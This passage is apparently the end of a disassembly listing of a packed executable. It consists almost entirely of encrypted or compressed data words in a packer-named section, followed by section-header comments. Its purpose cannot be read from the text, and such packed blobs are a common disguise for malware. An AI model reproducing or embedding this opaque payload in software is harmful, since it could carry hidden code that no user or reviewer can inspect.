		dd 0A50920Dh, 0CB8A1FC7h, 0DB2B2BA6h, 4B65802Bh, 401EAF89h
		dd 107121A8h, 5FE6887Ch, 18197F22h, 27D28496h, 9B84B0C5h
		dd 0DB7968CFh, 8B713417h, 132F552Fh, 3B3F1812h,	0A5794A4h
		dd 8B16C0C3h, 1A9DF9DFh, 9E17DA83h, 271CF73Dh, 45BECFFCh
		dd 0FD5E77Ah, 0F58BC09Eh, 0EA813D97h, 79A2160Ah, 0E3E00F49h
		dd 35DED2D7h, 6C553E29h, 1D09D7D1h, 58E2FA49h, 0A9FA97AAh
		dd 3D6E211Eh, 0EAAFBBF7h, 768E74FDh, 6FFF324h, 11AE84A5h
		dd 67468A1Ch, 0D497D350h, 8A835B9Fh, 844666Bh, 0F4670EF7h
		dd 6FC525FAh, 4E78611Eh, 2DD8CCF7h, 441E745Ch, 32B34324h
		dd 45EA0D7Eh, 725C1D99h, 730ACF23h, 64A9EA24h, 0BEF4B67Bh
		dd 0D3E39550h, 7CA8E580h, 10835175h, 2FDB1B63h,	561D6D87h
		dd 0C8891BFh, 6D013C9Eh, 9D52ED35h, 39A6A70h, 73756AFEh
		dd 2AA3FC35h, 0A9B1C1h,	96B1A74Fh, 0D8D03379h, 84833981h
		dd 931AAB18h, 0B2121BA7h, 81B6A921h, 0B9A59A32h, 984919EDh
		dd 0C67B6BD7h, 0F02A4881h, 0C408C1F7h, 0BB07884Bh, 20580739h
		dd 0E0EF447Bh, 0E0BF18F5h, 1B10D506h, 0A19153E5h, 37E8372Ah
		dd 340B7B9Fh, 0E783276h
		dd 82EB22BEh, 0FF0F1B0Ch, 417F0D05h, 4574321Ch,	923B2EF9h
		dd 1B3862A5h, 0E2B31657h, 97090245h, 7094DCh, 0E1391C75h
		dd 32C97BD0h, 0BA59E4D7h, 6B6D6E8Fh, 96BB8C10h,	0A3C5156Eh
		dd 47D952AAh, 0AE6CB083h, 0AA123CEDh, 795CF249h, 57643A8Bh
		dd 80154F73h, 357829CAh, 106C2A1Dh, 0D275C380h,	0DEFBB852h
		dd 38AE3ADFh, 79BD9D27h, 0C33055DCh, 90E4E784h,	0E5D7BC40h
		dd 34887ED4h, 0CB039B85h, 56311A55h, 0CC0D6D9h,	0AC625BCAh
		dd 73C9B8EFh, 0B291F2EDh, 0EA324E05h, 4FA33EC9h, 0A252EE58h
		dd 59B80CD7h, 0FA60A13Eh, 5A7DE633h, 66067968h,	442B3BDBh
		dd 6346306Dh, 0DFA75F0Bh, 336D5829h, 0D3108249h, 85D63B3Ch
		dd 0FF6240F2h, 54674B8Eh, 9A81AA5Ah, 103F8E4Dh,	2865A832h
		dd 0E9B84B2Eh, 0D75876C3h, 78B9351Fh, 54AF3ECAh, 347A2170h
		dd 0C89A6D65h, 6DE9958Ah, 5D73C402h, 0A05EA40Ch, 6E8105F5h
		dd 0D5C4F45Dh, 8D3D3D4h, 24248DA8h, 0E92E7E0Fh,	67C62176h
		dd 0E3D6F806h, 0EA719F48h, 0AE1A207Eh, 515B543h, 4D8991F9h
		dd 0F9157F88h, 0EFF141B5h, 0E9711478h, 3F165479h, 7A88EDB0h
		dd 745EBB5Eh, 7633B78Eh, 5AD78FBAh, 5FACB5D3h, 61DE8AB4h
		dd 130547EFh, 0E2037DDCh, 25A776FBh, 294027D3h,	0B7A02D18h
		dd 0B8DFE361h, 0D20F5998h, 1A2DCB99h, 240D7CDAh, 94219662h
		dd 42B97425h, 0D36095F8h, 7292D58Dh, 0D07A4277h, 6A03E921h
		dd 0A7740B6Ch, 0CA6A7486h, 380B9D2Dh, 0D6E4B41Dh, 5D01BE97h
		dd 7BCAB07Bh, 9FE65F0Ah, 918E9CE7h, 0FF2EC30h, 0DCD9876Ch
		dd 2FCFC402h, 6BE709ABh, 0A71E97Fh, 4FE6BF5Fh, 1AAC7A96h
		dd 1B52F0B7h, 0FE54E0F7h, 101A6930h, 0A5E4872Ah, 963C3781h
		dd 0E269725Ch, 0BE49CBB1h, 0D4113E53h, 239A3891h, 2D5C2386h
		dd 14EE5A2Dh, 10BA76B2h, 6520726Ch, 0C35EF392h,	0B0F75217h
		dd 86D5C70Dh, 4123C31h,	80F9B410h, 39916F70h, 0F0ABB6D9h
		dd 0D39A7800h, 2963ABDh, 76180BEBh, 0FDC0E4FEh,	6A6579B3h
		dd 0FA5C76C2h, 0E42182DBh, 0B7DDAD14h, 155EC456h, 1EDE40CEh
		dd 977A64F5h, 0ECDAE870h, 0DB8BF004h, 0FDA90372h, 6F87BF54h
		dd 4B9CC347h, 0FCE3E9DBh, 9B25302Eh, 2F2CE89Eh,	7CBB7251h
		dd 9AE12F49h, 0A7DDCE25h, 72CA03AAh, 70A64933h,	97C862BCh
		dd 0E6C0CA68h, 8E7B67E1h, 90B15285h, 670AB443h,	5FB9A348h
		dd 0CE68D663h, 1109C97Eh, 0CAF52D47h, 65649E0h,	673B3148h
		dd 0BE9F54C3h, 0CFFACC3Dh, 0C1EF0411h, 0F2E4B09Eh, 3B09212Dh
		dd 885637D9h, 79BB7CBBh, 37F746C5h, 0BA2416ECh,	0BB5E4885h
		dd 0D0356F1Bh, 0C458EE71h, 0F3DBD3FDh, 664CC41Ah, 1BDF8B43h
		dd 6C128C4Ah, 7376C6A9h, 3EAF6DC6h, 5F8E9CEFh, 0BCC8CDCBh
		dd 1D4356A1h, 86A001A2h, 3FDF820Ch, 7C6293E5h, 8F0E595h
		dd 6DC78360h, 96A2DA40h, 6FD874AEh, 0B5D664C5h,	3A2AF3F6h
		dd 10165F92h, 0C9581AA2h, 76E8AE06h, 82A72E21h,	698241h
		dd 41AEF65Bh, 0FB6EDF37h, 6DD1F792h, 97AE5E05h,	33DC9833h
		dd 54306F4Eh, 0E5615DF6h, 44E9212Dh, 0FE3B684Fh, 7F1E997h
		dd 0C35D878Ch, 61598BC6h, 0C878F8F5h, 63BEAC58h, 0DFC7FE59h
		dd 9CB79005h, 33FBCC90h, 0FC183B94h, 8399D750h,	10C2AE53h
		dd 0B95667A3h, 35715280h, 5433E81Ah, 0DB75460Ah, 0C0044B1Bh
		dd 0E1445740h, 95A5DD78h, 0A200DFD9h, 0FBB3E81Eh, 2562A34Bh
		dd 0F1C6596Dh, 6B4AAB08h, 9D2F2E63h, 544C699Ah,	0A32AC230h
		dd 5D4F422Ah, 401BB473h, 246EAAB7h, 4FF39FAEh, 7D114090h
		dd 0FF6C7A8Fh, 0A9DEDAC9h, 43688FBh, 0F5CFA31Eh, 7CE95683h
		dd 9068E1A3h, 0E4C2E21h, 3CE60601h, 78CAB27Eh, 8836F142h
		dd 12503527h, 0A4B53F32h, 9A4EA09h, 51C29ED2h, 0D32AB0FCh
		dd 17B95A2h, 92DC201Bh,	0A0745A15h, 302B4A67h, 0DDAB4932h
		dd 2EFFB0ABh, 0C8FD6DFAh, 0EDC1A482h, 0AF487F15h, 2539ADC5h
		dd 89F1B6FCh, 0D82F7625h, 8978E7A7h, 9824A6CEh,	2E85C36Fh
		dd 67FF57F3h, 0E6FC77CFh, 0A64C201Dh, 0CD5BF4A3h, 6A7FB033h
		dd 49F7FAEDh, 0C52BB510h, 3E462D53h, 0CFC8A782h, 9CE5E08h
		dd 98E00F22h, 0FFEC135Dh, 7145EA24h, 0E1500D96h, 112A3053h
		dd 0B275FEE0h, 0A6AEFBA8h, 6B2BF3A6h, 95DDA5D2h, 6EB4CFB6h
		dd 0AA745C71h, 946F244h, 0B1701463h, 0E3AEABE3h, 0AA943B9h
		dd 0DD23DE4Bh, 85E9079Fh, 0AB2E8CAFh, 857425CDh, 0FD644ACAh
		dd 7CF8A4C4h, 2FABBBC3h, 64285778h, 47C3CDFh, 3460634h
		dd 0D2C852B7h, 24D94C77h, 0F75F6A1h, 0CBA674BEh, 8D94FFC2h
		dd 0B24C5815h, 7E6B6533h, 5F19233Dh, 1CB6A09Fh,	2698DF67h
		dd 0A988A9D8h, 0FD156937h, 566A948Ch, 0D79E234Bh, 93BC8475h
		dd 0FE35EE08h, 2CBA2FF3h, 6FA0FAE6h, 5B649F52h,	2293C072h
		dd 37631852h, 0D0F0F76Fh, 33FA3AA6h, 0F81DDF29h, 62F13F20h
		dd 0D1F19A21h, 1B5E69AFh, 0E0014E76h, 0C94860F8h, 0F36BC4F5h
		dd 0B0CC3FC2h, 93946034h, 87FFD396h, 2BDA8F07h,	29578320h
		dd 63B83BAFh, 2D14336h,	3193A4Dh, 16DB6E89h, 996FF4CCh
		dd 3B1A9ACCh, 18E0B3BEh, 4A8BAC82h, 0BD616040h,	0BECD932Ah
		dd 64F72639h, 0C2A1BF9Ch, 52D5BB20h, 1ECD742Bh,	0F942205Bh
		dd 0F83D53DDh, 3B096429h, 6C2ACB80h, 0F03BB5DFh, 5F2EBDC4h
		dd 4B3E0FAAh, 13904266h, 9310FF0Eh, 597871F8h, 0FFCD0BF8h
		dd 0F462895h, 0DE7CFCA9h, 2E309AFBh, 858FC056h,	0C08183F3h
		dd 5325C465h, 3691F5F8h, 0B0A50531h, 70C16FEEh,	0D10C474Dh
		dd 0ADAA1191h, 0CEBA1D60h, 5C1827B1h, 0DB217F59h, 698D6911h
		dd 6743D22Ah, 0D71BFC93h, 0B1501B98h, 197C571Bh, 0C489A22Bh
		dd 0F20F8612h, 0B8AAA741h, 0F2342CF5h, 45F8FDE1h, 78296B3Bh
		dd 90943831h, 651797A2h, 0CDB7BB9Ch, 53A1B3A0h,	2024FEC5h
		dd 800CA942h, 0ECA3BDCEh, 0F21BDECDh, 0D723DD17h, 0C15893F0h
		dd 8F1DA581h, 63A4F503h, 0C0ADD43Ch, 6306AE05h,	0F4A10824h
		dd 77B354F8h, 9AE82FAh,	780E4CF9h, 32A20C05h, 0DC776A58h
		dd 4D3ECEA5h, 892F985h,	9778380Bh, 9F15045Bh, 58010E00h
		dd 441605E6h, 0C5EBB523h, 989DEAC7h, 0CEAC5BA6h, 539C77AFh
		dd 0DDBFEA90h, 88F47CF0h, 118A89FDh, 0ACB74CEBh, 0E73FC243h
		dd 66946ADBh, 1CFCD4E1h, 101A2DD0h, 80D95FE8h, 764BF7A8h
		dd 0E56ADD35h, 0B2B5133Dh, 0A3FBEE88h, 0DBE0950Ch, 0E7E8FB4Eh
		dd 0BA9F77C1h, 8BBD1904h, 8EA71FBh, 7FFDC96Fh, 102B82A4h
		dd 0E8196535h, 7A56486Eh, 9494806h, 770EBD99h, 0E9E22161h
		dd 580C3902h, 0F1B38B71h, 0F9AD646Ch, 698A786h,	36334F9Fh
		dd 0DDD4B5C9h, 18B6BC88h, 398ADF44h, 1D0DE281h,	0D55A8C4Eh
		dd 0DA5ABAD6h, 6591A64Dh, 350E300h, 0CFDF3D14h,	4E014390h
		dd 651371FDh, 0ED2569D6h, 0B09F96E9h, 327FC73Bh, 6C4AAC26h
		dd 33D76F1Ch, 0E460BFF0h, 0CF8213E3h, 998DC638h, 7D6D4C96h
		dd 0CEE8ACE2h, 0F42804D6h, 0C75E12CCh, 0C3807133h, 6B4037D4h
		dd 0F3406F0Fh, 6CA1B07Bh, 5D333CA5h, 0B9179A00h, 0BAFDBC68h
		dd 9009795Dh, 9F3C7DC7h, 2F68673Eh, 0D5C9303Bh,	0D97511BFh
		dd 0CF2C2208h, 0E36AD8D5h, 58B41218h, 0A82F208Bh, 0A6403F1h
		dd 0AC3CB7EDh, 0CC47142Bh, 7296C82Dh, 0ED344BDEh, 0C76B2D9Ch
		dd 0AC452E89h, 3FB88833h, 7E1D1593h, 0A88DB411h, 0AA739F95h
		dd 6A6B3EC8h, 0CA476356h, 77D66B57h, 0E5F587E4h, 9EB0E7E5h
		dd 14CDC2D3h, 52921EB1h
		dd 1949B715h, 0B5688D3Eh, 9A7BBA4Eh, 6AE2B828h,	2815F0FFh
		dd 0AB530160h, 0A749853Ah, 0D534E5A8h, 0A82E9C12h, 62E57502h
		dd 0C414675Ch, 0D19B3195h, 908C46BAh, 3A6BE4ACh, 9D3F549Eh
		dd 7EA53887h, 2B015684h, 0B0AA18E5h, 4693693Ah,	5E653AABh
		dd 7167D580h, 0D4E0D3E6h, 31F81CF1h, 0B56C5BE8h, 57881545h
		dd 4AAA9C8Eh, 621ACCBEh, 0BF2A4E62h, 0A14A3618h, 517653C3h
		dd 807E38C2h, 0C0AA3B73h, 0A2BD61AEh, 0CB472908h, 0E19E444Ch
		dd 4CFBE3BAh, 7D5C95D5h, 44A389E5h, 7F381929h, 2C828A4Fh
		dd 6B7F9CC4h, 0BF508E46h, 45A0CA75h, 24989B9Eh,	0A0A34C8Bh
		dd 0BB4555B0h, 3D6C5F8Bh, 0ED2B921Eh, 0BBCC82F0h, 87EEA481h
		dd 0F335A941h, 1C70BE85h, 7AB226CFh, 0FEB27FCBh, 0B5670579h
		dd 9490C405h, 6D95694Bh, 0E6630848h, 89B7FA9Bh,	4753478Bh
		dd 1737F8EDh, 0AF24AB5Fh, 62BEA8FBh, 11CD932Fh,	5AF1B75h
		dd 43A443Eh, 0D7475A35h, 0BECB2AD6h, 4485AD2Ah,	24BB7A60h
		dd 0FFA8DBABh, 0FA801D1h, 9C1822BBh, 0C240CBF5h, 7AEED2E7h
		dd 0FD6009EBh, 0C5E34BC4h, 90F935F5h, 0C9C4614Bh, 65076CF2h
		dd 71360ED0h, 69541FF0h, 4E6C2BF7h, 898A1438h, 0B31BDFFDh
		dd 0DB6A63A3h, 9A040F54h, 3C116BA7h, 23E92E22h,	5C958938h
		dd 0ECA45B14h, 0D3374319h, 8084FE12h, 0E3CC2395h, 64676B98h
		dd 9FCE219Bh, 5A0B5D47h, 9C085109h, 0AC0C6376h,	8812F520h
		dd 0EC8D91CFh, 0F69BC7F6h, 0CEC1D7Eh, 14C1FE93h, 0BCC9E5Eh
		dd 421794D5h, 0A4DFB9Ah, 53805B89h, 9B0B6802h, 3EE28826h
		dd 0F091CEA9h, 22132ED5h, 0B4AD763Fh, 0FE261AC8h, 68DC92B4h
		dd 0A68DFBB5h, 5F377760h, 0D012426Eh, 24B6B115h, 0C163552Ah
		dd 1E4D2CF7h, 0F2B8B3F2h, 38E68555h, 0D0CB5BB0h, 2C102F99h
		dd 0A5ACC8D6h, 88CF3B49h, 0B3C5DBA1h, 0EEB9B6E5h, 0FC4E0843h
		dd 6DEBC4F6h, 8ADFDABBh, 38ACBF88h, 0BAF319DBh,	28902101h
		dd 4B8E40D3h, 7B251297h, 0D00EB990h, 70708AC5h,	80D3A2F2h
		dd 0D966E762h, 0F038B642h, 2401193Ah, 0F3A2138Dh, 0FF77AC11h
		dd 67D22559h, 3D5B7E97h, 37A443D1h, 9BA88367h, 3FCB80BBh
		dd 0C80492A1h, 2DC4EF1Bh, 46AFE47Ch, 0ADDEDFB8h, 2923375Ah
		dd 7544AB73h, 0BFA1EF7Ch, 0F129C558h, 8D6E0BDCh, 0E8200166h
		dd 0E4F4D9B4h, 7E53454Fh, 6173DFCEh, 70835EF1h,	9C9F4D1Eh
		dd 0E90971E7h, 0FDBEBA7h, 848AE47Fh, 32F98BCBh,	0A674863Bh
		dd 364A2ADFh, 0A0D36146h, 947D5FBEh, 380A3CACh,	0D91565E6h
		dd 475AA559h, 0ED746C44h, 4D155A9Dh, 0CE87E4D9h, 98ECCC33h
		dd 3C8DD1A7h, 44280912h, 7E9C3737h, 0ACC545F4h,	464202A0h
		dd 0C5B364Eh, 59035C72h, 7655F41h, 0BD9B7B3h, 33617BC0h
		dd 0CDADAD8Eh, 0FBCA5D07h, 1C90BE79h, 0EE54FE73h, 0FC7329EAh
		dd 0FDFD1FD3h, 80A2739Ch, 5097F016h, 823C688Bh,	14D39C7Ah
		dd 366039CDh, 57F62C4Fh, 0B2D8BE59h, 0D499F368h, 0ED5A4187h
		dd 25C75733h, 988D489Ah, 0C931315h, 15C69DA7h, 95131FC0h
		dd 0AA179AFAh, 89E9AF3Dh, 78615ECAh, 0E83CD098h, 6C4081D4h
		dd 68778CEh, 8B7051E4h,	163BB758h, 2ED20396h, 375F3635h
		dd 0D3771591h, 14A4881Ch, 66650B41h, 21593EDh, 0EF7A0BDDh
		dd 2035A9B6h, 0A711C88Ah, 0F8A65422h, 51DDF03Eh, 3C04C7CCh
		dd 98FB7B8Eh, 3E7ADC2Eh, 1DE0D608h, 0E5E5B949h,	0E09825EBh
		dd 0A0BCF401h, 892595E8h, 0CF213E5Ah, 0DAE85D7Dh, 11C5D3D8h
		dd 1A3D7FFCh, 5CB06440h, 687252C1h, 8D8F657h, 3F9DBC3Fh
		dd 0CB0A0480h, 570F7A35h, 60A1D040h, 8ACFA227h,	5004D4F9h
		dd 0F039758Dh, 8D54A82Fh, 7B5E2DF3h, 2C3AD9CBh,	0FB7E384h
		dd 3C7E62E9h, 0E7B6CC12h, 8198B719h, 8B4FBB44h,	209404F7h
		dd 0A229D8E1h, 66C937CAh, 8016A42Ah, 4505E67Ch,	1E0D20E1h
		dd 73E9EE96h, 51C31CA4h, 230BC354h, 0E9395C63h,	95EEA7CFh
		dd 1931DA43h, 978188D6h, 0E76B87F6h, 0B732584Fh, 0B192BBC5h
		dd 0A59A516Eh, 75BAD04Ch, 881FCB3Eh, 9381B1A3h,	6F7A1664h
		dd 0FFD5D03Eh, 0E4D786E9h, 782B64F1h, 803417BAh, 43962613h
		dd 1E1D220Ah, 7779CD0Ah, 5D34F3C7h, 0AB9A6E53h,	3B7979FFh
		dd 0D0B556DFh, 5F6E2BBh, 3C1CC188h, 448C566Eh, 6CA6FB29h
		dd 7E22AC5Eh, 249D8792h, 6821B2FAh, 0F9255981h,	0AAE2374Fh
		dd 0BC1E4770h, 0BB9890A5h, 0C052945Ah, 45495C78h, 0CC1FD39Ch
		dd 0B7282B3h, 9D2F3721h, 0F11BB45Eh, 0E4ED2FAEh, 0B0B2FC74h
		dd 3164AAC7h, 5177CABFh, 0DEB37B76h, 0ED9F06E3h, 86044CFh
		dd 585F1019h, 0FB1954AEh, 7F682BDFh, 7324B75Ch,	237AB6D0h
		dd 0F70B2BB9h, 6A913357h, 0AEDB6129h, 26722D55h, 0FAC2FB94h
		dd 0F4D3B4A7h, 0D1600BC1h, 3892B48Fh, 51807E76h, 756448Bh
		dd 255F9795h, 0B2EEDA2Bh, 90190DA3h, 6B6257CFh,	530026B1h
		dd 22523AFh, 0F0654BCCh, 66584A25h, 0F34768D7h,	96C9AFEEh
		dd 0F4A5ECF4h, 2FF3240Ah, 698DDE5h, 88805BA3h, 40F2158Eh
		dd 4D288D77h, 2844D5FBh, 41A65468h, 222DB9E1h, 31069FF4h
		dd 9C014753h, 0CB6D05B2h, 4CF69E0Ah, 85F7F58Bh,	50F30802h
		dd 0DFE08251h, 668B771Ch, 0CB1AC6D0h, 0C73279EEh, 91918754h
		dd 51540BB9h, 5CA5FAD2h, 0EA788070h, 15B3E4E1h,	0D58529F1h
		dd 0C6D8B7A8h, 0ED06C983h, 4F3BB093h, 1111161Fh, 0CE996FB1h
		dd 0A72AD89h, 10017906h, 3D703AFFh, 1F297781h, 1EC992E9h
		dd 8E1BFC57h, 684909CFh, 8635DA22h, 3A6FB5F0h, 75B078F6h
		dd 0B426DF1Ah, 4FD0E7D5h, 2761E3FCh, 71BCC535h,	7519C36Eh
		dd 3B50A8F8h, 42914F6h,	48ACFFB0h, 50D4E026h, 93B8C6A2h
		dd 34BF45B2h, 3BAD908Ch, 5F17CA0Bh, 7FCCE560h, 0B91EABDCh
		dd 0B38C020Ah, 12EA8C6Ah, 0F25F0C77h, 44848518h, 0C764241Eh
		dd 120914B2h, 0EFA893B3h, 0F4A83ECBh, 0F409F930h, 320708E1h
		dd 4F5A3009h, 0E35886E3h, 7F3EC87Dh, 74711879h,	0E5EACF5Ah
		dd 4A8128C1h, 0B27F3C2Fh, 39333A2Ch, 5DF93643h,	0FC05E7DFh
		dd 5466963Bh, 2614994Fh, 1F007F82h, 91894BFFh, 93A01AE9h
		dd 26F4F034h, 917DFA02h, 0B83FB542h, 1C74A17Bh,	0D348128Bh
		dd 0D3B0701Bh, 63DE80CFh, 0C2197C21h, 55AF7506h, 7C6AA3ACh
		dd 0EA6CB598h, 54D89617h, 0E7F1CF16h, 12D3E6F2h, 80440CFAh
		dd 0D7F06B7Bh, 38DE866Bh, 0FB9AC88Fh, 0B4F09C65h, 6387B96Ch
		dd 59EA7BEAh, 10564BF2h, 54093924h, 0EAAC9C0Eh,	3B1D6939h
		dd 24E20182h, 0F57A68D8h, 3BD00D47h, 0A42240D4h, 0C2C6346Ah
		dd 997C7E62h, 2ADC9524h, 5830C7Ah, 0CF0A54C7h, 287DED95h
		dd 6FF08B63h, 0FA64FB31h, 257F5F36h, 5FB63BFh, 0F654D5F7h
		dd 0A36CED79h, 81894C59h, 0EFEE3420h, 0B8E2F1F0h, 0FF8649A6h
		dd 5390BACFh, 3D219504h, 0A4A8B4CAh, 1E471141h,	5E95E59Bh
		dd 766596B0h, 3A86BB2Ch, 7EA0C1F3h, 4F0B03A7h, 840AF531h
		dd 2CA533E0h, 0E43DEFF0h, 9464052Ch, 626C866Ah,	0CDF0CFAFh
		dd 4EE7FCF2h, 0FD1FC100h, 0B9A46617h, 0BB448A37h, 4357E05h
		dd 0FA4086ACh, 18A958BFh, 813BDD19h, 7C17CD9Ah,	0DD93D874h
		dd 0BC9BFD79h, 0E4F34324h, 6C772431h, 3805DC5h,	3745C4E1h
		dd 0A601BBC6h, 908E2459h, 367355B0h, 9D5A6169h,	8CEA6339h
		dd 0F6308FC1h, 0B35DAC6Fh, 764505EAh, 0FC425586h, 0DAC24BD2h
		dd 0A65D88C4h, 0C98085B6h, 9DEBEB55h, 67755C91h, 98DE1154h
		dd 0F19B258h, 7358024Dh
		dd 357AB8C0h, 0B15C6373h, 3C932FAEh, 0BFC50A4Fh, 56DD4F27h
		dd 0ACE57F7Ah, 2D0485F0h, 25C7E506h, 3D96341Ch,	137A94C4h
		dd 0DA3BC2FDh, 0CD6E95CFh, 6F358BD2h, 0EAFA8231h, 76C1D220h
		dd 5310CB57h, 22324088h, 93D4063h, 3F5364A8h, 60BF4AA0h
		dd 4A83435Eh, 0D2CAA5E8h, 98A9D438h, 0E5D2F0BFh, 6C19759Dh
		dd 0DC88C338h, 80DFA4E0h, 0C2BD2BC7h, 0FFE5B86Ch, 226E451Bh
		dd 0C7F05920h, 3ED9FFA8h, 0E9D15651h, 0A9754B53h, 79091E8Eh
		dd 4854517Dh, 63742434h, 8E77D232h, 0EBE6B38Ch,	4ADDE44h
		dd 0EA283651h, 966793A4h, 0EE32B2FFh, 16F178DBh, 9970076Eh
		dd 0D5F17731h, 3AF020E8h, 713A16E2h, 0A9F9AADBh, 0FABFE051h
		dd 0A8BA8742h, 8422C035h, 0AB8AB382h, 2CC66D5Fh, 0E4F62576h
		dd 9931B5B5h, 3FDA74CBh, 0B6CD6639h, 35336196h,	0A17F5C34h
		dd 0A83F8D80h, 28D90740h, 6B6AAE13h, 0F9E0D7F1h, 2117F6FDh
		dd 301303DEh, 0F9F0B72Fh, 0D635106Eh, 0B583C91Ah, 3517536Bh
		dd 0F04DDD3Dh, 0AA332229h, 73AB7AD8h, 91E09915h, 587911FDh
		dd 6B38A9FFh, 0EFB3B654h, 6405BB71h, 0B591E09Fh, 0F045A86h
		dd 334CDF5Eh, 0AB7D0710h, 0CCB61F06h, 0CB10967Ch, 33E7F123h
		dd 0F6056EB8h, 0FE2D5E83h, 0C8831789h, 510B7AEFh, 0E995874Eh
		dd 0FDF17338h, 99975407h, 0EE201CB5h, 0B092D8ADh, 3BE7F88Ch
		dd 1B392092h, 5C68D0EFh, 36B4C85h, 0AAECCAF6h, 9200825Dh
		dd 0CD57E349h, 0ADF23A1Eh, 1428EAABh, 7B904889h, 86E2968h
		dd 0F6B38473h, 5C2C27C2h, 0E5DE7881h, 0B0DC1F73h, 2AA028Ch
		dd 0F29CD835h, 0B0CDD8Ah, 0EF4A8C91h, 593CE4F2h, 0AD0DA796h
		dd 85D93D9Ah, 6273D630h, 43C1A6AAh, 0C5576F98h,	0E1E55D04h
		dd 6F927800h, 0E1125F00h, 0A64C6A8Eh, 0C75E03BFh, 0B29179EEh
		dd 3E846332h, 0EC234A3Fh, 0D893A4AFh, 0AFF355FFh, 399A5592h
		dd 24352DCh, 362BE1E0h,	82E4B752h, 0BD7A5E26h, 0F69DBC4Ah
		dd 0A1CDA52Eh, 727FABE2h, 0C9F9E6F4h, 0E50D6435h, 0A2A80BC8h
		dd 9218C3C4h, 182D5E57h, 0B550C633h, 0DAA0FB3Ah, 7C91FEDEh
		dd 2A1B701Dh, 0DB44D6D0h, 0AFE2FCA8h, 0F5EC4226h, 0FDAA5036h
		dd 0EE4692B7h, 7267CCD8h, 0FC00704Dh, 1AB2E905h, 0A5A82CDEh
		dd 185CA3F8h, 0A84593C4h, 0E9A69F10h, 0ABC6649Ch, 0A61643AEh
		dd 50054DCAh, 4238E6A8h, 0C987199Ah, 7B959B16h,	78D46842h
		dd 0EF2BF0E3h, 49F17A23h, 43D38D9Fh, 0E64C8F69h, 3DC725Ah
		dd 0B3F6D9BCh, 1DED32BFh, 0F2A5404Dh, 776A460Ch, 31859444h
		dd 0DFFE7F50h, 6ED35E5Dh, 0D9AFCCAh, 0BDE3FDA7h, 0F4902E5h
		dd 85A65BE8h, 0D78B4485h, 5ABF52ADh, 98EA5268h,	0A648F727h
		dd 0DC0B1AA0h, 1C887331h, 0F22DB42h, 0C728FD5Ah, 47298951h
		dd 7045074Ch, 8CA671D7h, 7FC586C9h, 551CD9A7h, 0E3D9770h
		dd 80D0DC30h, 0A01FA42Dh, 5810624Bh, 0A64FADCAh, 495D0138h
		dd 0DB62F100h, 65A6AC88h, 15A2849Ch, 0FA0F72D3h, 20934411h
		dd 1C4413F4h, 0DB218049h, 0CB3A4CD4h, 66D7F179h, 0F4E1B582h
		dd 0B2321A40h, 41209421h, 0E515DE4h, 265E6123h,	0F7FC7CBEh
		dd 7E796905h, 0F6FD1DF0h, 4DFBB3D3h, 169EEE83h,	2B7D1A40h
		dd 8135F345h, 3BE262E0h, 4A49F024h, 5DC42195h, 0BDDE7AABh
		dd 3FA69A22h, 1Ah, 4D5h	dup(0)
		db 2 dup(0)
_nsp1		ends

; Section 3. (virtual address 0011B000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 0011A600
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 51B000h
		align 2000h
_idata2		ends


		end start